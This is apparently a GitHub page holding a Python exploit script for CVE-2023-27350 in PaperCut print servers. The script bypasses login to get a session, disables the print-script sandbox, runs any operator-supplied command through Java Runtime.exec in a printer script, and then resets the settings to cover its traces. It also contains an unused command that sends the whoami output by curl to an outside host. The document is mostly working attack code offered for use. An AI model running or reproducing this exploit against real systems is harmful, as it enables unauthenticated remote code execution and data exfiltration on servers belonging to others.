-
Notifications
You must be signed in to change notification settings - Fork 18
/
CVE-2023-27350.py
97 lines (85 loc) · 3.77 KB
/
CVE-2023-27350.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/python3
import argparse
import requests
def get_session_id(base_url):
s = requests.Session()
r = s.get(f'{base_url}/app?service=page/SetupCompleted', verify=False)
headers = {'Origin': f'{base_url}'}
data = {
'service': 'direct/1/SetupCompleted/$Form',
'sp': 'S0',
'Form0': '$Hidden,analyticsEnabled,$Submit',
'$Hidden': 'true',
'$Submit': 'Login'
}
r = s.post(f'{base_url}/app', data=data, headers=headers, verify=False)
if r.status_code == 200 and b'papercut' in r.content and 'JSESSIONID' in r.headers.get('Set-Cookie', ''):
print(f'[*] Papercut instance is vulnerable! Obtained valid JSESSIONID')
return s
else:
print(f'[-] Failed to get valid response, likely not vulnerable')
return None
def set_setting(base_url, session, setting, enabled):
print(f'[*] Updating {setting} to {enabled}')
headers = {'Origin': f'{base_url}'}
data = {
'service': 'direct/1/ConfigEditor/quickFindForm',
'sp': 'S0',
'Form0': '$TextField,doQuickFind,clear',
'$TextField': setting,
'doQuickFind': 'Go'
}
r = session.post(f'{base_url}/app', data=data, headers=headers, verify=False)
data = {
'service': 'direct/1/ConfigEditor/$Form',
'sp': 'S1',
'Form1': '$TextField$0,$Submit,$Submit$0',
'$TextField$0': enabled,
'$Submit': 'Update'
}
r = session.post(f'{base_url}/app', data=data, headers=headers, verify=False)
def execute(base_url, session, command):
print('[*] Prepparing to execute...')
postback = "java.lang.Runtime.getRuntime().exec('cmd.exe /C \"for /F \"usebackq delims=\" %A in (`whoami`) do curl http://10.0.40.83:8081/%A\"');"
headers = {'Origin': f'{base_url}'}
data = {
'service': 'page/PrinterList'
}
r = session.get(f'{base_url}/app?service=page/PrinterList', data=data, headers=headers, verify=False)
data = {
'service': 'direct/1/PrinterList/selectPrinter',
'sp': 'l1001'
}
r = session.get(f'{base_url}/app?service=direct/1/PrinterList/selectPrinter&sp=l1001', data=data, headers=headers, verify=False)
data = {
'service': 'direct/1/PrinterDetails/printerOptionsTab.tab',
'sp': '4'
}
r = session.get(f'{base_url}/app', data=data, headers=headers, verify=False)
data = {
'service': 'direct/1/PrinterDetails/$PrinterDetailsScript.$Form',
'sp': 'S0',
'Form0': 'printerId,enablePrintScript,scriptBody,$Submit,$Submit$0,$Submit$1',
'printerId': 'l1001',
'enablePrintScript': 'on',
'scriptBody': "function printJobHook(inputs, actions) {}\r\n" \
f"java.lang.Runtime.getRuntime().exec('{command}');",
'$Submit$1': 'Apply',
}
r = session.post(f'{base_url}/app', data=data, headers=headers, verify=False)
if r.status_code == 200 and 'Saved successfully' in r.text:
print('[+] Executed successfully!')
else:
print('[-] Might not have a printer configured. Exploit manually by adding one.')
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', help='The URL of the Papercut target application', required=True)
parser.add_argument('-c', '--command', help='The command to execute', required=True)
args = parser.parse_args()
sess = get_session_id(args.url)
if sess:
set_setting(args.url, sess, setting='print-and-device.script.enabled', enabled='Y')
set_setting(args.url, sess, setting='print.script.sandboxed', enabled='N')
execute(args.url, sess, args.command)
set_setting(args.url, sess, setting='print-and-device.script.enabled', enabled='N')
set_setting(args.url, sess, setting='print.script.sandboxed', enabled='Y')